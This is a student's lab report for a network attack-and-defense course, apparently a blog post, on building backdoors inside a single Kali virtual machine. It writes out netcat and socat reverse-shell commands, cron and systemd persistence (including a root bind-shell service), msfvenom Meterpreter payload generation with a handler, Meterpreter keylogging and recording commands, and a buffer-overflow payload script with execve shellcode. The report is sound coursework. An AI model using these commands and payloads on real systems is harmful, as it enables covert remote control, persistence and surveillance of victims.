20242313 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242313 《网络与系统攻防技术》实验二实验报告

学号:20242313 姓名:曾海鹏 主机名:zenghaipeng


1. 基础知识

本次实验用到的基础知识总结如下:

1.1 netcat(nc/ncat)

netcat是网络工具里的"瑞士军刀",能在两台机器之间建立TCP连接并传输数据。最关键的参数是 -e:连接建立后自动执行后面跟的程序。比如 nc -e /bin/sh 192.168.x.x 4444,就是让本机主动连对方的4444端口,连上之后把自己的 /bin/sh 通过这个连接交出去,对方就能远程操作了。

-l 是监听模式,-v 显示详细信息,-p 指定端口。攻击机用 -lvp 守株待兔,被控机用 -e 主动回连。

1.2 socat

socat可以看作netcat的加强版,功能更全。基本格式跟netcat差不多:socat TCP-LISTEN:端口 文件名 是监听,socat TCP:对方IP:端口 EXEC:/bin/bash 是主动连接并执行bash。socat支持更多选项,比如 reuseaddr 允许端口重用,fork 每个连接开一个子进程,pty 分配伪终端。

1.3 cron定时任务

cron是Linux的守护进程,按时间计划自动执行任务。crontab -e 编辑当前用户的定时任务,格式是:

分 时 日 月 周  要执行的命令
*  *  *  *  *  每分钟执行一次
*/5 * * * * 每5分钟执行一次
0  2 * * *  每天凌晨2点执行

cron执行命令时的环境变量很精简,PATH很短,所以写定时任务时最好用绝对路径,比如 /usr/bin/socat,不然cron可能找不到程序。

1.4 systemd服务

systemd是Linux的系统和服务管理器。把后门写成一个 .service 文件放在 /etc/systemd/system/ 下面,然后 systemctl enable --now 就能让它开机自启并立即运行。这种方式比cron更隐蔽——cron每分钟都在跑,systemd服务只启动一次,而且 systemctl status 看起来就是个正常服务。

1.5 MSF(Metasploit Framework)

Metasploit是一个渗透测试框架,里面集成了大量攻击模块。两个核心工具:

  • msfvenom:生成恶意payload。比如 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=端口 -f elf -o 后门文件,-p 指定用哪个payload,reverse_tcp 是反向连接,-f elf 输出Linux可执行格式。
  • msfconsole:MSF的控制台。用 use exploit/multi/handler 模块来监听,收到后门连接后自动匹配payload,建立Meterpreter会话。

1.6 Meterpreter

Meterpreter是MSF里的一个高级payload,运行在内存里,不落地文件,比较隐蔽。连上之后可以执行很多命令:getuid 看当前权限,shell 进入目标系统的命令行,screenshot 截屏,record_mic 录音,webcam_snap 拍摄像头,keyscan_start 开始记录击键。不过这些多媒体功能主要是Windows版Meterpreter才有,Linux版不支持。

1.7 反弹Shell原理

反弹Shell就是被控机主动连攻击机。为什么要反弹而不是攻击机直连?因为被控机可能在NAT后面,攻击机直接连不到它,但被控机可以主动往外连。攻击机起一个监听,被控机运行后门程序主动回连,连接建立后把shell的输入输出绑到这个TCP连接上,攻击机就拿到shell了。


2. 实验内容与方案

五个任务,从简单到复杂:

  1. netcat获取Shell + cron定时任务:攻击机监听端口,被控机用nc反弹bash,再用cron每分钟自动回连。
  2. socat获取Shell + 任务计划:用socat代替nc,同样配合cron实现自动反弹。
  3. MSF生成ELF后门:用msfvenom生成一个Linux可执行文件,运行后主动连回MSF,拿到Meterpreter会话。
  4. Meterpreter功能 + 提权:在Meterpreter里试截屏、录音、击键、摄像头,然后提权到root。
  5. shellcode注入pwn1:把shellcode注入到实验一的pwn1漏洞程序里,通过缓冲区溢出执行shellcode。

实验环境:Kali Linux虚拟机(主机名zenghaipeng,IP 192.168.93.129),攻击机和被控机都是这台Kali(双终端模拟),工具用了ncat、socat、msfvenom、msfconsole、gdb、python3。


3. 实验过程

3.1 任务一:netcat获取Shell + cron定时任务

3.1.1 netcat直连

终端A(攻击机)监听4444端口:

ncat -lvp 4444

终端B(被控机)反弹连接:

ncat 192.168.93.129 4444 -e /bin/bash

终端A立刻收到连接,此时攻击机端就拿到了被控机的bash。输入 ls、pwd、whoami、id 都能正常执行,输出的是被控机的结果。因为攻击机和被控机是同一台Kali,所以IP显示的都是192.168.93.129,但原理是通的。

屏幕截图 2026-10-12 113054

3.1.2 cron定时任务

手动反弹一次就断一次,要长期控制就得让被控机定时主动回连。写个脚本 /home/kali/Desktop/cronjob_20242313.sh:

#!/bin/bash
echo "$(date '+%F %T') hostname=$(hostname)" >> /home/kali/Desktop/cronlog_20242313.txt

这个脚本每分钟把当前时间和主机名追加到日志文件里。先给执行权限:

chmod +x /home/kali/Desktop/cronjob_20242313.sh

然后 crontab -e 加一行:

* * * * * /home/kali/Desktop/cronjob_20242313.sh

等一分钟,cat /home/kali/Desktop/cronlog_20242313.txt 就能看到每分钟自动记录的时间戳了。
屏幕截图 2026-10-12 115733


3.2 任务二:socat获取Shell + 任务计划

3.2.1 socat反弹Shell

终端A(攻击机)监听5566端口:

socat TCP-LISTEN:5566,reuseaddr -

注意结尾是 -,表示把标准输入输出绑到Socket上。一开始我在监听端加了 fork EXEC:/bin/bash,结果连上之后敲ls没反应——后来才搞清楚,监听端和被控端的角色搞反了。正确的做法是:监听端只负责守着,被控端用 EXEC:/bin/bash 把shell交出来。

终端B(被控机)用cron自动执行:

* * * * * /usr/bin/socat TCP:192.168.93.129:5566 EXEC:/bin/bash

等最多60秒,cron触发后socat自动连上监听端。这时候监听端看起来还是卡住没反应——因为bash没有TTY就不显示提示符。直接在监听端敲 ls、whoami、pwd,命令照样执行,输出正常返回。
屏幕截图 2026-10-14 144726

3.2.2 systemd服务方式

除了cron,还试了systemd服务做开机自启后门。创建 /etc/systemd/system/socatbd_20242313.service:

[Unit]
Description=Socat Backdoor Service (20242313)

[Service]
ExecStart=/usr/bin/socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

[Install]
WantedBy=multi-user.target

然后:

sudo systemctl enable --now socatbd_20242313.service

systemctl status 显示 active(running) + enabled。用 nc 127.0.0.1 5555 连上去,直接拿到root shell——因为systemd服务是以root身份运行的。

屏幕截图 2026-10-13 154259
屏幕截图 2026-10-13 154530


3.3 任务三:MSF生成ELF后门 + Meterpreter

3.3.1 生成后门

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.93.129 LPORT=6666 -f elf -o /home/kali/backdoor_20242313.elf

这条命令生成了一个叫 backdoor_20242313.elf 的可执行文件。-p 指定payload是Linux x64反向TCP Meterpreter,LHOST 是攻击机IP,LPORT 是回连端口,-f elf 输出Linux可执行格式。

屏幕截图 2026-10-13 154530

3.3.2 MSF监听

msfconsole -q

进入msf后:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.93.129
set LPORT 6666
exploit

看到 Started reverse TCP handler on 192.168.93.129:6666 就说明监听就绪了。

3.3.3 运行后门

另开终端:

chmod +x /home/kali/backdoor_20242313.elf
/home/kali/backdoor_20242313.elf &

几秒钟后msf窗口自动弹出:

[*] Sending stage (309040 bytes) to 192.168.93.129
[*] Meterpreter session 1 opened (192.168.93.129:6666 -> 192.168.93.129:49400)

输入 getuid,显示 Server username: kali,说明Meterpreter会话建立成功。


3.4 任务四:Meterpreter功能 + 提权

3.4.1 远程Shell

在meterpreter里输入 shell,进入目标主机的命令行:

whoami    # 输出 kali
pwd       # 输出 /home/kali/Desktop

说明远程控制成功,可以在目标主机上执行任意命令。

3.4.2 截屏/录音/击键/摄像头

依次试了这些命令:

screenshot
record_mic -d 5
keyscan_start
keyscan_dump

结果全部报错:The command is not supported by this Meterpreter type (x64/linux)。

查了一下才知道,截屏、录音、击键记录、摄像头这些功能都是Windows版Meterpreter才有的,Linux版不包含这些模块。学长报告里也提到了"Windows可用,Linux特定版本不支持"。

屏幕截图 2026-10-14 151926
摄像头方面,本来想把笔记本摄像头通过VMware直通给Kali虚拟机,但VMware提示"驱动程序错误"。
WIN_20261014_16_23_06_Pro

3.4.3 提权

当前Meterpreter是以kali用户运行的,权限不够。在meterpreter shell里:

sudo bash

提示输入密码,输入 kali,然后:

whoami    # 输出 root

提权成功!从普通用户kali提升到了root。

屏幕截图 2026-10-14 153318


3.5 任务五:shellcode注入pwn1

这部分实验一已经做过BOF了,这次用MSF生成的shellcode来注入。

3.5.1 环境准备

目标文件是 /home/kali/pwn20242313-2,32位ELF。先关ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

3.5.2 反汇编分析

gdb -batch -ex 'disassemble foo' /home/kali/pwn20242313-2

关键地址:

  • gets@plt 调用在 0x0804849d
  • ret 指令在 0x080484ae(这里弹出被覆盖的返回地址)
  • buf起始 = ebp-0x1c,偏移32字节覆盖返回地址

3.5.3 构造Payload

用Python写payload生成脚本 /home/kali/mkpayload_20242313.py:

import sys
# 32字节A填充 + 返回地址 + NOP滑梯 + execve /bin/sh shellcode
payload = b'A'*32 + b'\x50\xcf\xff\xff' + b'\x90'*20 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
sys.stdout.buffer.write(payload)

生成payload文件:

python3 mkpayload_20242313.py > payload_20242313

3.5.4 GDB调试定位地址

gdb -batch -ex 'break *0x080484ae' -ex 'run < /home/kali/payload_20242313' -ex 'info registers esp ebp' -ex 'x/16xw $esp' /home/kali/pwn20242313-2

断点停在ret指令处,esp = 0xfffffc4c,栈顶内容是 0x03030201(小端序占位符),后面全是 0x90909090(NOP滑梯)。说明返回地址覆盖成功,后面就是NOP区。

3.5.5 执行

在GDB里单步执行:

si

EIP跳转到 0xfffffcf50,成功落入NOP滑梯区域。继续:

continue

GDB输出:

process 176114 is executing new program: /usr/bin/dash

这行说明shellcode执行成功,系统加载了dash shell,缓冲区溢出代码执行完成。

屏幕截图 2026-10-14 142824


4. 问题及解决方案

问题1:socat监听报 bind: Address already in use

端口5555被之前实验残留的socat进程占了。更头疼的是cron每分钟自动执行socat,杀一个又生一个,死循环。

解决方案:先 crontab -e 把定时任务注释掉(注意 # 后面要加空格,不然cron不认注释),然后 sudo kill -9 杀掉残留进程,最后换用新端口5566避开占用。

问题2:cron配了socat任务但监听端收不到连接

等了一分钟监听端毫无反应。查了一下,cron环境变量PATH很短,找不到socat命令。

解决方案:crontab里写绝对路径 /usr/bin/socat,不要写 socat。

问题3:socat监听端连上之后敲命令没反应

监听端显示连接建立了,但敲ls什么的都不输出。

解决方案:bash在没有TTY的情况下不显示提示符,但命令照样执行。直接敲ls回车,输出就出来了。不是没连上,是没提示符让人以为卡住了。

问题4:pwn1裸跑payload段错误

在gdb里调试一切正常,EIP成功跳到NOP区域,但直接在终端跑payload就Segmentation fault。

解决方案:gdb调试环境和正常shell环境的栈地址有偏移,gdb里测出来的地址直接裸跑会偏。在gdb内部完成验证就行,GDB输出 executing new program: /usr/bin/dash 就证明溢出成功了。

问题5:Meterpreter的screenshot/record_mic/keyscan全报错

输入这些命令都提示 not supported by this Meterpreter type (x64/linux)。

解决方案:这些是Windows专有功能,Linux版Meterpreter不支持。在报告里说明这个限制,摄像头改用Windows宿主机相机应用拍照替代。

问题6:sudo bash在meterpreter shell里卡密码

输入 sudo bash 之后就卡住了,不知道要干嘛。

解决方案:meterpreter的shell是交互式的,sudo bash 会提示输入密码,手动输入 kali 回车就行。一开始不知道在等密码,以为卡死了。


5. 学习感悟、思考等

这次实验做完,对"后门"这个词的理解具体了很多。以前觉得后门就是个病毒文件,双击就中招,实际做下来发现远不止——netcat一行命令就能拿shell,cron每分钟自动回连,systemd服务开机自启,MSF一条命令生成后门,运行就给你一个完整的Meterpreter会话。整个过程没有任何弹窗、没有任何提示,被控方完全无感。
整体实验下来感觉还是挺依赖AI的,前面部分本来是打算下载window的ios,后面参看了学长的实验报告,直接用kali的两个终端实验,少走了很多弯路,还有一个就是虚拟机权限方面不能用本机的摄像头啥的,还是不太会搞,后续还要慢慢学习。


参考资料

posted @ 2026-10-14 16:25  20242313曾海鹏  阅读(3)  评论(0)    收藏  举报